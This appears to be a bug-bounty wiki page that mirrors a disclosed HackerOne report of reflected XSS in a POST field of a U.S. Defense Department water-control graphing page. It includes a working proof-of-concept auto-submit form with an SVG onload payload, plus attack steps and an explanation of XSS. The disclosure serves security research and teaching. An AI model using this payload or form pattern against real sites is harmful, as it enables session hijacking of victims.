Skip to content
XSS Disclosed report Beginner

XSS Reflect to POST █████

A reflected cross-site scripting flaw was found in a POST parameter of a water-control graphing page. An attacker could run script in a victim's browser and act as that user.

ofjaaaah Follow

Originally disclosed on HackerOne

  • Triaged in 4 days
  • Fixed in 32 days
  • Disclosed after 45 days

#XSS to POST

URL = █████████

Good morning team DoD.. I located an XSS on the site. I hope to help team DoD more and more. Thank you

HTML
<form action=█████████/WaterControl/shefgraph-historic.cfm?sid=BL110 method=POST><input type=hidden name="fld_graphrslow" value="Y"><input type=hidden name="fld_graphrslow" value="N"><input type=hidden name="Submit" value="View Graph"><input type=hidden name="fld_from1" value="01/01/2020"><input type=hidden name="fld_to1" value="12/31/2020"><input type=hidden name="fld_displaytype" value="S"><input type=hidden name="fld_type1" value="Plot"><input type=hidden name="fld_frompor" value="1&quot;&lt;!--&gt;&lt;Svg OnLoad=(confirm)(1)&lt;!--"><input type=hidden name="fld_topor" value="1231"><input type=hidden name="fld_year1" value="2020"><input type=hidden name="fld_year2" value="2020"><input type=hidden name="fld_mon1" value="01"><input type=hidden name="fld_day1" value="01"><input type=hidden name="fld_mon2" value="12"><input type=hidden name="fld_day2" value="31"><input type=hidden name="fld_param" value="HG"><input type=submit value=XSS></form>

Impact

If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user. Amongst other things, the attacker can:

Perform any action within the application that the user can perform.
View any information that the user is able to view.
Modify any information that the user is able to modify.
Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.

The original report as published on HackerOne, by ofjaaaah. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

If an attacker can control a script that is executed in the victim's browser, then they can typically fully compromise that user.

What the attacker needed

Victim submits a crafted form; no login stated

How it was found

  1. Build an HTML form that posts to the graphing page with a crafted fld_frompor value.
  2. Include the other expected hidden fields so the request looks normal.
  3. Get the victim to submit the form, which sends the payload by POST.
  4. The page reflects the value and the browser runs the script.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Cross-site scripting (XSS) means a website puts text from a user into a page without making it safe, so a browser runs it as code. Here the unsafe text arrives in a form field sent by POST, and the page echoes it back. An attacker who gets a victim to submit that form can run their own script in the victim's session.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by ofjaaaah

View all

1 more disclosed report, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.